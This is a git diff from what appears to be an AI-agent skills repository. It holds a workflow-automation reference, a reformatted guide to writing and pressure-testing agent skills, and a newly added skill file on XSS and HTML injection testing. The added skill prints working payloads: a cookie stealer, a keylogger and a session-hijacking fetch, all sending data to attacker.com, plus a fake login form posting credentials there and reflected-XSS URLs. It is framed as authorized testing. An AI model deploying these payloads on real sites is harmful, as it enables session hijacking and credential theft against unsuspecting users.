property: "{{analyze_sentiment.sentiment}}",
|
||||
routes: {
|
||||
negative: "escalate_to_support",
|
||||
positive: "send_thank_you",
|
||||
neutral: "archive",
|
||||
},
|
||||
},
|
||||
},
|
||||
],
|
||||
};
|
||||
```
|
||||
|
||||
### 5.2 Agent Workflow
|
||||
|
||||
```javascript
|
||||
const agentWorkflow = {
|
||||
trigger: { type: "webhook", path: "/research" },
|
||||
nodes: [
|
||||
{
|
||||
id: "research_agent",
|
||||
type: "agent",
|
||||
config: {
|
||||
model: "gpt-4",
|
||||
tools: ["web_search", "calculator", "code_interpreter"],
|
||||
maxIterations: 10,
|
||||
prompt: `
|
||||
Research the following topic and provide a comprehensive summary:
|
||||
{{trigger.topic}}
|
||||
|
||||
Use the tools available to gather accurate, up-to-date information.
|
||||
`,
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "format_report",
|
||||
type: "llm",
|
||||
config: {
|
||||
model: "gpt-4",
|
||||
prompt: `
|
||||
Format this research into a professional report with sections:
|
||||
- Executive Summary
|
||||
- Key Findings
|
||||
- Recommendations
|
||||
|
||||
Research: {{research_agent.output}}
|
||||
`,
|
||||
},
|
||||
},
|
||||
{
|
||||
id: "send_report",
|
||||
type: "email",
|
||||
config: {
|
||||
to: "{{trigger.email}}",
|
||||
subject: "Research Report: {{trigger.topic}}",
|
||||
body: "{{format_report.output}}",
|
||||
},
|
||||
},
|
||||
],
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. Workflow Best Practices
|
||||
|
||||
### 6.1 Design Checklist
|
||||
|
||||
- [ ] **Idempotency**: Can workflow run multiple times safely?
|
||||
- [ ] **Error handling**: What happens when nodes fail?
|
||||
- [ ] **Timeouts**: Are there appropriate timeouts?
|
||||
- [ ] **Logging**: Is there enough observability?
|
||||
- [ ] **Rate limits**: Are external APIs rate-limited?
|
||||
- [ ] **Secrets**: Are credentials stored securely?
|
||||
- [ ] **Testing**: Can workflow be tested in isolation?
|
||||
|
||||
### 6.2 Naming Conventions
|
||||
|
||||
```javascript
|
||||
// Workflows: verb_noun or noun_verb
|
||||
"sync_customers";
|
||||
"process_orders";
|
||||
"daily_report_generator";
|
||||
|
||||
// Nodes: action_target
|
||||
"fetch_user_data";
|
||||
"transform_to_csv";
|
||||
"send_notification_email";
|
||||
|
||||
// Variables: lowercase_snake_case
|
||||
"order_total";
|
||||
"customer_email";
|
||||
"processing_date";
|
||||
```
|
||||
|
||||
### 6.3 Testing Workflows
|
||||
|
||||
```javascript
|
||||
const workflowTest = {
|
||||
name: "order_processing_test",
|
||||
workflow: "process_order",
|
||||
testCases: [
|
||||
{
|
||||
name: "valid_order",
|
||||
input: {
|
||||
order_id: "test-123",
|
||||
items: [{ sku: "A1", qty: 2 }],
|
||||
},
|
||||
expectedOutput: {
|
||||
status: "processed",
|
||||
},
|
||||
mocks: {
|
||||
inventory_check: { available: true },
|
||||
payment_process: { success: true },
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "out_of_stock",
|
||||
input: {
|
||||
order_id: "test-456",
|
||||
items: [{ sku: "B2", qty: 100 }],
|
||||
},
|
||||
expectedOutput: {
|
||||
status: "failed",
|
||||
reason: "insufficient_inventory",
|
||||
},
|
||||
mocks: {
|
||||
inventory_check: { available: false },
|
||||
},
|
||||
},
|
||||
],
|
||||
};
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Resource Links
|
||||
|
||||
- [n8n Documentation](https://docs.n8n.io/)
|
||||
- [Temporal Workflows](https://temporal.io/)
|
||||
- [Apache Airflow](https://airflow.apache.org/)
|
||||
- [Zapier Automation Patterns](https://zapier.com/blog/automation-patterns/)
|
||||
@@ -9,7 +9,7 @@ description: Use when creating new skills, editing existing skills, or verifying
|
||||
|
||||
**Writing skills IS Test-Driven Development applied to process documentation.**
|
||||
|
||||
**Personal skills live in agent-specific directories (`~/.claude/skills` for Claude Code, `~/.codex/skills` for Codex)**
|
||||
**Personal skills live in agent-specific directories (`~/.claude/skills` for Claude Code, `~/.codex/skills` for Codex)**
|
||||
|
||||
You write test cases (pressure scenarios with subagents), watch them fail (baseline behavior), write the skill (documentation), watch tests pass (agents comply), and refactor (close loopholes).
|
||||
|
||||
@@ -29,30 +29,32 @@ A **skill** is a reference guide for proven techniques, patterns, or tools. Skil
|
||||
|
||||
## TDD Mapping for Skills
|
||||
|
||||
| TDD Concept | Skill Creation |
|
||||
|-------------|----------------|
|
||||
| **Test case** | Pressure scenario with subagent |
|
||||
| **Production code** | Skill document (SKILL.md) |
|
||||
| **Test fails (RED)** | Agent violates rule without skill (baseline) |
|
||||
| **Test passes (GREEN)** | Agent complies with skill present |
|
||||
| **Refactor** | Close loopholes while maintaining compliance |
|
||||
| **Write test first** | Run baseline scenario BEFORE writing skill |
|
||||
| **Watch it fail** | Document exact rationalizations agent uses |
|
||||
| **Minimal code** | Write skill addressing those specific violations |
|
||||
| **Watch it pass** | Verify agent now complies |
|
||||
| **Refactor cycle** | Find new rationalizations → plug → re-verify |
|
||||
| TDD Concept | Skill Creation |
|
||||
| ----------------------- | ------------------------------------------------ |
|
||||
| **Test case** | Pressure scenario with subagent |
|
||||
| **Production code** | Skill document (SKILL.md) |
|
||||
| **Test fails (RED)** | Agent violates rule without skill (baseline) |
|
||||
| **Test passes (GREEN)** | Agent complies with skill present |
|
||||
| **Refactor** | Close loopholes while maintaining compliance |
|
||||
| **Write test first** | Run baseline scenario BEFORE writing skill |
|
||||
| **Watch it fail** | Document exact rationalizations agent uses |
|
||||
| **Minimal code** | Write skill addressing those specific violations |
|
||||
| **Watch it pass** | Verify agent now complies |
|
||||
| **Refactor cycle** | Find new rationalizations → plug → re-verify |
|
||||
|
||||
The entire skill creation process follows RED-GREEN-REFACTOR.
|
||||
|
||||
## When to Create a Skill
|
||||
|
||||
**Create when:**
|
||||
|
||||
- Technique wasn't intuitively obvious to you
|
||||
- You'd reference this again across projects
|
||||
- Pattern applies broadly (not project-specific)
|
||||
- Others would benefit
|
||||
|
||||
**Don't create for:**
|
||||
|
||||
- One-off solutions
|
||||
- Standard practices well-documented elsewhere
|
||||
- Project-specific conventions (put in CLAUDE.md)
|
||||
@@ -61,17 +63,19 @@ The entire skill creation process follows RED-GREEN-REFACTOR.
|
||||
## Skill Types
|
||||
|
||||
### Technique
|
||||
|
||||
Concrete method with steps to follow (condition-based-waiting, root-cause-tracing)
|
||||
|
||||
### Pattern
|
||||
|
||||
Way of thinking about problems (flatten-with-flags, test-invariants)
|
||||
|
||||
### Reference
|
||||
|
||||
API docs, syntax guides, tool documentation (office docs)
|
||||
|
||||
## Directory Structure
|
||||
|
||||
|
||||
```
|
||||
skills/
|
||||
skill-name/
|
||||
@@ -82,17 +86,41 @@ skills/
|
||||
**Flat namespace** - all skills in one searchable namespace
|
||||
|
||||
**Separate files for:**
|
||||
|
||||
1. **Heavy reference** (100+ lines) - API docs, comprehensive syntax
|
||||
2. **Reusable tools** - Scripts, utilities, templates
|
||||
|
||||
**Keep inline:**
|
||||
|
||||
- Principles and concepts
|
||||
- Code patterns (< 50 lines)
|
||||
- Everything else
|
||||
|
||||
## Set Appropriate Degrees of Freedom
|
||||
|
||||
Match the level of specificity to the task's fragility and variability:
|
||||
|
||||
- **High freedom (text-based instructions)**: Use when multiple approaches are valid or decisions depend on context.
|
||||
- **Medium freedom (pseudocode or scripts with parameters)**: Use when a preferred pattern exists but some variation is acceptable.
|
||||
- **Low freedom (specific scripts, no-context instructions)**: Use when operations are fragile, error-prone, or consistency is critical.
|
||||
|
||||
## Progressive Disclosure
|
||||
|
||||
Manage context efficiently by splitting detailed information into separate files:
|
||||
|
||||
1. **Metadata (name + description)**: Always loaded for discovery.
|
||||
2. **SKILL.md body**: Core workflow and high-level guidance. Keep under 500 lines.
|
||||
3. **Bundled resources**:
|
||||
- `scripts/`: Deterministic code/logic.
|
||||
- `references/`: Detailed schemas, API docs, or domain knowledge.
|
||||
- `assets/`: Templates, images, or static files.
|
||||
|
||||
**Pattern**: Link to advanced content or variant-specific details (e.g., `aws.md` vs `gcp.md`) from the main `SKILL.md`.
|
||||
|
||||
## SKILL.md Structure
|
||||
|
||||
**Frontmatter (YAML):**
|
||||
|
||||
- Only two fields supported: `name` and `description`
|
||||
- Max 1024 characters total
|
||||
- `name`: Use letters, numbers, and hyphens only (no parentheses, special chars)
|
||||
@@ -111,32 +139,38 @@ description: Use when [specific triggering conditions and symptoms]
|
||||
# Skill Name
|
||||
|
||||
## Overview
|
||||
|
||||
What is this? Core principle in 1-2 sentences.
|
||||
|
||||
## When to Use
|
||||
|
||||
[Small inline flowchart IF decision non-obvious]
|
||||
|
||||
Bullet list with SYMPTOMS and use cases
|
||||
When NOT to use
|
||||
|
||||
## Core Pattern (for techniques/patterns)
|
||||
|
||||
Before/after code comparison
|
||||
|
||||
## Quick Reference
|
||||
|
||||
Table or bullets for scanning common operations
|
||||
|
||||
## Implementation
|
||||
|
||||
Inline code for simple patterns
|
||||
Link to file for heavy reference or reusable tools
|
||||
|
||||
## Common Mistakes
|
||||
|
||||
What goes wrong + fixes
|
||||
|
||||
## Real-World Impact (optional)
|
||||
|
||||
Concrete results
|
||||
```
|
||||
|
||||
|
||||
## Claude Search Optimization (CSO)
|
||||
|
||||
**Critical for discovery:** Future Claude needs to FIND your skill
|
||||
@@ -172,8 +206,9 @@ description: Use when implementing any feature or bugfix, before writing impleme
|
||||
```
|
||||
|
||||
**Content:**
|
||||
|
||||
- Use concrete triggers, symptoms, and situations that signal this skill applies
|
||||
- Describe the *problem* (race conditions, inconsistent behavior) not *language-specific symptoms* (setTimeout, sleep)
|
||||
- Describe the _problem_ (race conditions, inconsistent behavior) not _language-specific symptoms_ (setTimeout, sleep)
|
||||
- Keep triggers technology-agnostic unless the skill itself is technology-specific
|
||||
- If skill is technology-specific, make that explicit in the trigger
|
||||
- Write in third person (injected into system prompt)
|
||||
@@ -199,6 +234,7 @@ description: Use when using React Router and handling authentication redirects
|
||||
### 2. Keyword Coverage
|
||||
|
||||
Use words Claude would search for:
|
||||
|
||||
- Error messages: "Hook timed out", "ENOTEMPTY", "race condition"
|
||||
- Symptoms: "flaky", "hanging", "zombie", "pollution"
|
||||
- Synonyms: "timeout/hang/freeze", "cleanup/teardown/afterEach"
|
||||
@@ -207,6 +243,7 @@ Use words Claude would search for:
|
||||
### 3. Descriptive Naming
|
||||
|
||||
**Use active voice, verb-first:**
|
||||
|
||||
- ✅ `creating-skills` not `skill-creation`
|
||||
- ✅ `condition-based-waiting` not `async-test-helpers`
|
||||
|
||||
@@ -215,6 +252,7 @@ Use words Claude would search for:
|
||||
**Problem:** getting-started and frequently-referenced skills load into EVERY conversation. Every token counts.
|
||||
|
||||
**Target word counts:**
|
||||
|
||||
- getting-started workflows: <150 words each
|
||||
- Frequently-loaded skills: <200 words total
|
||||
- Other skills: <500 words (still be concise)
|
||||
@@ -222,6 +260,7 @@ Use words Claude would search for:
|
||||
**Techniques:**
|
||||
|
||||
**Move details to tool help:**
|
||||
|
||||
```bash
|
||||
# ❌ BAD: Document all flags in SKILL.md
|
||||
search-conversations supports --text, --both, --after DATE, --before DATE, --limit N
|
||||
@@ -231,34 +270,42 @@ search-conversations supports multiple modes and filters. Run --help for details
|
||||
```
|
||||
|
||||
**Use cross-references:**
|
||||
|
||||
```markdown
|
||||
# ❌ BAD: Repeat workflow details
|
||||
|
||||
When searching, dispatch subagent with template...
|
||||
[20 lines of repeated instructions]
|
||||
|
||||
# ✅ GOOD: Reference other skill
|
||||
|
||||
Always use subagents (50-100x context savings). REQUIRED: Use [other-skill-name] for workflow.
|
||||
```
|
||||
|
||||
**Compress examples:**
|
||||
|
||||
```markdown
|
||||
# ❌ BAD: Verbose example (42 words)
|
||||
|
||||
your human partner: "How did we handle authentication errors in React Router before?"
|
||||
You: I'll search past conversations for React Router authentication patterns.
|
||||
[Dispatch subagent with search query: "React Router authentication error handling 401"]
|
||||
|
||||
# ✅ GOOD: Minimal example (20 words)
|
||||
|
||||
Partner: "How did we handle auth errors in React Router?"
|
||||
You: Searching...
|
||||
[Dispatch subagent → synthesis]
|
||||
```
|
||||
|
||||
**Eliminate redundancy:**
|
||||
|
||||
- Don't repeat what's in cross-referenced skills
|
||||
- Don't explain what's obvious from command
|
||||
- Don't include multiple examples of same pattern
|
||||
|
||||
**Verification:**
|
||||
|
||||
```bash
|
||||
wc -w skills/path/SKILL.md
|
||||
# getting-started workflows: aim for <150 each
|
||||
@@ -266,12 +313,14 @@ wc -w skills/path/SKILL.md
|
||||
```
|
||||
|
||||
**Name by what you DO or core insight:**
|
||||
|
||||
- ✅ `condition-based-waiting` > `async-test-helpers`
|
||||
- ✅ `using-skills` not `skill-usage`
|
||||
- ✅ `flatten-with-flags` > `data-structure-refactoring`
|
||||
- ✅ `root-cause-tracing` > `debugging-techniques`
|
||||
|
||||
**Gerunds (-ing) work well for processes:**
|
||||
|
||||
- `creating-skills`, `testing-skills`, `debugging-with-logs`
|
||||
- Active, describes the action you're taking
|
||||
|
||||
@@ -280,6 +329,7 @@ wc -w skills/path/SKILL.md
|
||||
**When writing documentation that references other skills:**
|
||||
|
||||
Use skill name only, with explicit requirement markers:
|
||||
|
||||
- ✅ Good: `**REQUIRED SUB-SKILL:** Use superpowers:test-driven-development`
|
||||
- ✅ Good: `**REQUIRED BACKGROUND:** You MUST understand superpowers:systematic-debugging`
|
||||
- ❌ Bad: `See skills/testing/test-driven-development` (unclear if required)
|
||||
@@ -303,11 +353,13 @@ digraph when_flowchart {
|
||||
```
|
||||
|
||||
**Use flowcharts ONLY for:**
|
||||
|
||||
- Non-obvious decision points
|
||||
- Process loops where you might stop too early
|
||||
- "When to use A vs B" decisions
|
||||
|
||||
**Never use flowcharts for:**
|
||||
|
||||
- Reference material → Tables, lists
|
||||
- Code examples → Markdown blocks
|
||||
- Linear instructions → Numbered lists
|
||||
@@ -316,6 +368,7 @@ digraph when_flowchart {
|
||||
See @graphviz-conventions.dot for graphviz style rules.
|
||||
|
||||
**Visualizing for your human partner:** Use `render-graphs.js` in this directory to render a skill's flowcharts to SVG:
|
||||
|
||||
```bash
|
||||
./render-graphs.js ../some-skill # Each diagram separately
|
||||
./render-graphs.js ../some-skill --combine # All diagrams in one SVG
|
||||
@@ -326,11 +379,13 @@ See @graphviz-conventions.dot for graphviz style rules.
|
||||
**One excellent example beats many mediocre ones**
|
||||
|
||||
Choose most relevant language:
|
||||
|
||||
- Testing techniques → TypeScript/JavaScript
|
||||
- System debugging → Shell/Python
|
||||
- Data processing → Python
|
||||
|
||||
**Good example:**
|
||||
|
||||
- Complete and runnable
|
||||
- Well-commented explaining WHY
|
||||
- From real scenario
|
||||
@@ -338,6 +393,7 @@ Choose most relevant language:
|
||||
- Ready to adapt (not generic template)
|
||||
|
||||
**Don't:**
|
||||
|
||||
- Implement in 5+ languages
|
||||
- Create fill-in-the-blank templates
|
||||
- Write contrived examples
|
||||
@@ -347,21 +403,26 @@ You're good at porting - one great example is enough.
|
||||
## File Organization
|
||||
|
||||
### Self-Contained Skill
|
||||
|
||||
```
|
||||
defense-in-depth/
|
||||
SKILL.md # Everything inline
|
||||
```
|
||||
|
||||
When: All content fits, no heavy reference needed
|
||||
|
||||
### Skill with Reusable Tool
|
||||
|
||||
```
|
||||
condition-based-waiting/
|
||||
SKILL.md # Overview + patterns
|
||||
example.ts # Working helpers to adapt
|
||||
```
|
||||
|
||||
When: Tool is reusable code, not just narrative
|
||||
|
||||
### Skill with Heavy Reference
|
||||
|
||||
```
|
||||
pptx/
|
||||
SKILL.md # Overview + workflows
|
||||
@@ -369,6 +430,7 @@ pptx/
|
||||
ooxml.md # 500 lines XML structure
|
||||
scripts/ # Executable tools
|
||||
```
|
||||
|
||||
When: Reference material too large for inline
|
||||
|
||||
## The Iron Law (Same as TDD)
|
||||
@@ -383,6 +445,7 @@ Write skill before testing? Delete it. Start over.
|
||||
Edit skill without testing? Same violation.
|
||||
|
||||
**No exceptions:**
|
||||
|
||||
- Not for "simple additions"
|
||||
- Not for "just adding a section"
|
||||
- Not for "documentation updates"
|
||||
@@ -401,6 +464,7 @@ Different skill types need different test approaches:
|
||||
**Examples:** TDD, verification-before-completion, designing-before-coding
|
||||
|
||||
**Test with:**
|
||||
|
||||
- Academic questions: Do they understand the rules?
|
||||
- Pressure scenarios: Do they comply under stress?
|
||||
- Multiple pressures combined: time + sunk cost + exhaustion
|
||||
@@ -413,6 +477,7 @@ Different skill types need different test approaches:
|
||||
**Examples:** condition-based-waiting, root-cause-tracing, defensive-programming
|
||||
|
||||
**Test with:**
|
||||
|
||||
- Application scenarios: Can they apply the technique correctly?
|
||||
- Variation scenarios: Do they handle edge cases?
|
||||
- Missing information tests: Do instructions have gaps?
|
||||
@@ -424,6 +489,7 @@ Different skill types need different test approaches:
|
||||
**Examples:** reducing-complexity, information-hiding concepts
|
||||
|
||||
**Test with:**
|
||||
|
||||
- Recognition scenarios: Do they recognize when pattern applies?
|
||||
- Application scenarios: Can they use the mental model?
|
||||
- Counter-examples: Do they know when NOT to apply?
|
||||
@@ -435,6 +501,7 @@ Different skill types need different test approaches:
|
||||
**Examples:** API documentation, command references, library guides
|
||||
|
||||
**Test with:**
|
||||
|
||||
- Retrieval scenarios: Can they find the right information?
|
||||
- Application scenarios: Can they use what they found correctly?
|
||||
- Gap testing: Are common use cases covered?
|
||||
@@ -443,16 +510,16 @@ Different skill types need different test approaches:
|
||||
|
||||
## Common Rationalizations for Skipping Testing
|
||||
|
||||
| Excuse | Reality |
|
||||
|--------|---------|
|
||||
| "Skill is obviously clear" | Clear to you ≠ clear to other agents. Test it. |
|
||||
| "It's just a reference" | References can have gaps, unclear sections. Test retrieval. |
|
||||
| "Testing is overkill" | Untested skills have issues. Always. 15 min testing saves hours. |
|
||||
| "I'll test if problems emerge" | Problems = agents can't use skill. Test BEFORE deploying. |
|
||||
| "Too tedious to test" | Testing is less tedious than debugging bad skill in production. |
|
||||
| "I'm confident it's good" | Overconfidence guarantees issues. Test anyway. |
|
||||
| "Academic review is enough" | Reading ≠ using. Test application scenarios. |
|
||||
| "No time to test" | Deploying untested skill wastes more time fixing it later. |
|
||||
| Excuse | Reality |
|
||||
| ------------------------------ | ---------------------------------------------------------------- |
|
||||
| "Skill is obviously clear" | Clear to you ≠ clear to other agents. Test it. |
|
||||
| "It's just a reference" | References can have gaps, unclear sections. Test retrieval. |
|
||||
| "Testing is overkill" | Untested skills have issues. Always. 15 min testing saves hours. |
|
||||
| "I'll test if problems emerge" | Problems = agents can't use skill. Test BEFORE deploying. |
|
||||
| "Too tedious to test" | Testing is less tedious than debugging bad skill in production. |
|
||||
| "I'm confident it's good" | Overconfidence guarantees issues. Test anyway. |
|
||||
| "Academic review is enough" | Reading ≠ using. Test application scenarios. |
|
||||
| "No time to test" | Deploying untested skill wastes more time fixing it later. |
|
||||
|
||||
**All of these mean: Test before deploying. No exceptions.**
|
||||
|
||||
@@ -477,11 +544,13 @@ Write code before test? Delete it.
|
||||
Write code before test? Delete it. Start over.
|
||||
|
||||
**No exceptions:**
|
||||
|
||||
- Don't keep it as "reference"
|
||||
- Don't "adapt" it while writing tests
|
||||
- Don't look at it
|
||||
- Delete means delete
|
||||
```
|
||||
|
||||
````
|
||||
</Good>
|
||||
|
||||
### Address "Spirit vs Letter" Arguments
|
||||
@@ -490,7 +559,7 @@ Add foundational principle early:
|
||||
|
||||
```markdown
|
||||
**Violating the letter of the rules is violating the spirit of the rules.**
|
||||
```
|
||||
````
|
||||
|
||||
This cuts off entire class of "I'm following the spirit" rationalizations.
|
||||
|
||||
@@ -499,10 +568,10 @@ This cuts off entire class of "I'm following the spirit" rationalizations.
|
||||
Capture rationalizations from baseline testing (see Testing section below). Every excuse agents make goes in the table:
|
||||
|
||||
```markdown
|
||||
| Excuse | Reality |
|
||||
|--------|---------|
|
||||
| "Too simple to test" | Simple code breaks. Test takes 30 seconds. |
|
||||
| "I'll test after" | Tests passing immediately prove nothing. |
|
||||
| Excuse | Reality |
|
||||
| -------------------------------- | ----------------------------------------------------------------------- |
|
||||
| "Too simple to test" | Simple code breaks. Test takes 30 seconds. |
|
||||
| "I'll test after" | Tests passing immediately prove nothing. |
|
||||
| "Tests after achieve same goals" | Tests-after = "what does this do?" Tests-first = "what should this do?" |
|
||||
```
|
||||
|
||||
@@ -537,6 +606,7 @@ Follow the TDD cycle:
|
||||
### RED: Write Failing Test (Baseline)
|
||||
|
||||
Run pressure scenario with subagent WITHOUT the skill. Document exact behavior:
|
||||
|
||||
- What choices did they make?
|
||||
- What rationalizations did they use (verbatim)?
|
||||
- Which pressures triggered violations?
|
||||
@@ -554,6 +624,7 @@ Run same scenarios WITH skill. Agent should now comply.
|
||||
Agent found new rationalization? Add explicit counter. Re-test until bulletproof.
|
||||
|
||||
**Testing methodology:** See @testing-skills-with-subagents.md for the complete testing methodology:
|
||||
|
||||
- How to write pressure scenarios
|
||||
- Pressure types (time, sunk cost, authority, exhaustion)
|
||||
- Plugging holes systematically
|
||||
@@ -562,21 +633,26 @@ Agent found new rationalization? Add explicit counter. Re-test until bulletproof
|
||||
## Anti-Patterns
|
||||
|
||||
### ❌ Narrative Example
|
||||
|
||||
"In session 2025-10-03, we found empty projectDir caused..."
|
||||
**Why bad:** Too specific, not reusable
|
||||
|
||||
### ❌ Multi-Language Dilution
|
||||
|
||||
example-js.js, example-py.py, example-go.go
|
||||
**Why bad:** Mediocre quality, maintenance burden
|
||||
|
||||
### ❌ Code in Flowcharts
|
||||
|
||||
```dot
|
||||
step1 [label="import fs"];
|
||||
step2 [label="read file"];
|
||||
```
|
||||
|
||||
**Why bad:** Can't copy-paste, hard to read
|
||||
|
||||
### ❌ Generic Labels
|
||||
|
||||
helper1, helper2, step3, pattern4
|
||||
**Why bad:** Labels should have semantic meaning
|
||||
|
||||
@@ -585,6 +661,7 @@ helper1, helper2, step3, pattern4
|
||||
**After writing ANY skill, you MUST STOP and complete the deployment process.**
|
||||
|
||||
**Do NOT:**
|
||||
|
||||
- Create multiple skills in batch without testing each
|
||||
- Move to next skill before current one is verified
|
||||
- Skip testing because "batching is more efficient"
|
||||
@@ -598,11 +675,13 @@ Deploying untested skills = deploying untested code. It's a violation of quality
|
||||
**IMPORTANT: Use TodoWrite to create todos for EACH checklist item below.**
|
||||
|
||||
**RED Phase - Write Failing Test:**
|
||||
|
||||
- [ ] Create pressure scenarios (3+ combined pressures for discipline skills)
|
||||
- [ ] Run scenarios WITHOUT skill - document baseline behavior verbatim
|
||||
- [ ] Identify patterns in rationalizations/failures
|
||||
|
||||
**GREEN Phase - Write Minimal Skill:**
|
||||
|
||||
- [ ] Name uses only letters, numbers, hyphens (no parentheses/special chars)
|
||||
- [ ] YAML frontmatter with only name and description (max 1024 chars)
|
||||
- [ ] Description starts with "Use when..." and includes specific triggers/symptoms
|
||||
@@ -615,6 +694,7 @@ Deploying untested skills = deploying untested code. It's a violation of quality
|
||||
- [ ] Run scenarios WITH skill - verify agents now comply
|
||||
|
||||
**REFACTOR Phase - Close Loopholes:**
|
||||
|
||||
- [ ] Identify NEW rationalizations from testing
|
||||
- [ ] Add explicit counters (if discipline skill)
|
||||
- [ ] Build rationalization table from all test iterations
|
||||
@@ -622,6 +702,7 @@ Deploying untested skills = deploying untested code. It's a violation of quality
|
||||
- [ ] Re-test until bulletproof
|
||||
|
||||
**Quality Checks:**
|
||||
|
||||
- [ ] Small flowchart only if decision non-obvious
|
||||
- [ ] Quick reference table
|
||||
- [ ] Common mistakes section
|
||||
@@ -629,6 +710,7 @@ Deploying untested skills = deploying untested code. It's a violation of quality
|
||||
- [ ] Supporting files only for tools or heavy reference
|
||||
|
||||
**Deployment:**
|
||||
|
||||
- [ ] Commit skill to git and push to your fork (if configured)
|
||||
- [ ] Consider contributing back via PR (if broadly useful)
|
||||
|
||||
@@ -637,10 +719,10 @@ Deploying untested skills = deploying untested code. It's a violation of quality
|
||||
How future Claude finds your skill:
|
||||
|
||||
1. **Encounters problem** ("tests are flaky")
|
||||
3. **Finds SKILL** (description matches)
|
||||
4. **Scans overview** (is this relevant?)
|
||||
5. **Reads patterns** (quick reference table)
|
||||
6. **Loads example** (only when implementing)
|
||||
2. **Finds SKILL** (description matches)
|
||||
3. **Scans overview** (is this relevant?)
|
||||
4. **Reads patterns** (quick reference table)
|
||||
5. **Loads example** (only when implementing)
|
||||
|
||||
**Optimize for this flow** - put searchable terms early and often.
|
||||
|
||||
|
||||
496
skills/xss-html-injection/SKILL.md
Normal file
496
skills/xss-html-injection/SKILL.md
Normal file
@@ -0,0 +1,496 @@
|
||||
---
|
||||
name: Cross-Site Scripting and HTML Injection Testing
|
||||
description: This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.
|
||||
---
|
||||
|
||||
# Cross-Site Scripting and HTML Injection Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.
|
||||
|
||||
## Inputs / Prerequisites
|
||||
|
||||
### Required Access
|
||||
- Target web application URL with user input fields
|
||||
- Burp Suite or browser developer tools for request analysis
|
||||
- Access to create test accounts for stored XSS testing
|
||||
- Browser with JavaScript console enabled
|
||||
|
||||
### Technical Requirements
|
||||
- Understanding of JavaScript execution in browser context
|
||||
- Knowledge of HTML DOM structure and manipulation
|
||||
- Familiarity with HTTP request/response headers
|
||||
- Understanding of cookie attributes and session management
|
||||
|
||||
### Legal Prerequisites
|
||||
- Written authorization for security testing
|
||||
- Defined scope including target domains and features
|
||||
- Agreement on handling of any captured session data
|
||||
- Incident response procedures established
|
||||
|
||||
## Outputs / Deliverables
|
||||
|
||||
- XSS/HTMLi vulnerability report with severity classifications
|
||||
- Proof-of-concept payloads demonstrating impact
|
||||
- Session hijacking demonstrations (controlled environment)
|
||||
- Remediation recommendations with CSP configurations
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: Vulnerability Detection
|
||||
|
||||
#### Identify Input Reflection Points
|
||||
Locate areas where user input is reflected in responses:
|
||||
|
||||
```
|
||||
# Common injection vectors
|
||||
- Search boxes and query parameters
|
||||
- User profile fields (name, bio, comments)
|
||||
- URL fragments and hash values
|
||||
- Error messages displaying user input
|
||||
- Form fields with client-side validation only
|
||||
- Hidden form fields and parameters
|
||||
- HTTP headers (User-Agent, Referer)
|
||||
```
|
||||
|
||||
#### Basic Detection Testing
|
||||
Insert test strings to observe application behavior:
|
||||
|
||||
```html
|
||||
<!-- Basic reflection test -->
|
||||
<test123>
|
||||
|
||||
<!-- Script tag test -->
|
||||
<script>alert('XSS')</script>
|
||||
|
||||
<!-- Event handler test -->
|
||||
<img src=x onerror=alert('XSS')>
|
||||
|
||||
<!-- SVG-based test -->
|
||||
<svg onload=alert('XSS')>
|
||||
|
||||
<!-- Body event test -->
|
||||
<body onload=alert('XSS')>
|
||||
```
|
||||
|
||||
Monitor for:
|
||||
- Raw HTML reflection without encoding
|
||||
- Partial encoding (some characters escaped)
|
||||
- JavaScript execution in browser console
|
||||
- DOM modifications visible in inspector
|
||||
|
||||
#### Determine XSS Type
|
||||
|
||||
**Stored XSS Indicators:**
|
||||
- Input persists after page refresh
|
||||
- Other users see injected content
|
||||
- Content stored in database/filesystem
|
||||
|
||||
**Reflected XSS Indicators:**
|
||||
- Input appears only in current response
|
||||
- Requires victim to click crafted URL
|
||||
- No persistence across sessions
|
||||
|
||||
**DOM-Based XSS Indicators:**
|
||||
- Input processed by client-side JavaScript
|
||||
- Server response doesn't contain payload
|
||||
- Exploitation occurs entirely in browser
|
||||
|
||||
### Phase 2: Stored XSS Exploitation
|
||||
|
||||
#### Identify Storage Locations
|
||||
Target areas with persistent user content:
|
||||
|
||||
```
|
||||
- Comment sections and forums
|
||||
- User profile fields (display name, bio, location)
|
||||
- Product reviews and ratings
|
||||
- Private messages and chat systems
|
||||
- File upload metadata (filename, description)
|
||||
- Configuration settings and preferences
|
||||
```
|
||||
|
||||
#### Craft Persistent Payloads
|
||||
|
||||
```html
|
||||
<!-- Cookie stealing payload -->
|
||||
<script>
|
||||
document.location='http://attacker.com/steal?c='+document.cookie
|
||||
</script>
|
||||
|
||||
<!-- Keylogger injection -->
|
||||
<script>
|
||||
document.onkeypress=function(e){
|
||||
new Image().src='http://attacker.com/log?k='+e.key;
|
||||
}
|
||||
</script>
|
||||
|
||||
<!-- Session hijacking -->
|
||||
<script>
|
||||
fetch('http://attacker.com/capture',{
|
||||
method:'POST',
|
||||
body:JSON.stringify({cookies:document.cookie,url:location.href})
|
||||
})
|
||||
</script>
|
||||
|
||||
<!-- Phishing form injection -->
|
||||
<div id="login">
|
||||
<h2>Session Expired - Please Login</h2>
|
||||
<form action="http://attacker.com/phish" method="POST">
|
||||
Username: <input name="user"><br>
|
||||
Password: <input type="password" name="pass"><br>
|
||||
<input type="submit" value="Login">
|
||||
</form>
|
||||
</div>
|
||||
```
|
||||
|
||||
### Phase 3: Reflected XSS Exploitation
|
||||
|
||||
#### Construct Malicious URLs
|
||||
Build URLs containing XSS payloads:
|
||||
|
||||
```
|
||||
# Basic reflected payload
|
||||
https://target.com/search?q=<script>alert(document.domain)</script>
|
||||
|
||||
# URL-encoded payload
|
||||
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
|
||||
|
||||
# Event handler in parameter
|
||||
https://target.com/page?name="><img src=x onerror=alert(1)>
|
||||
|
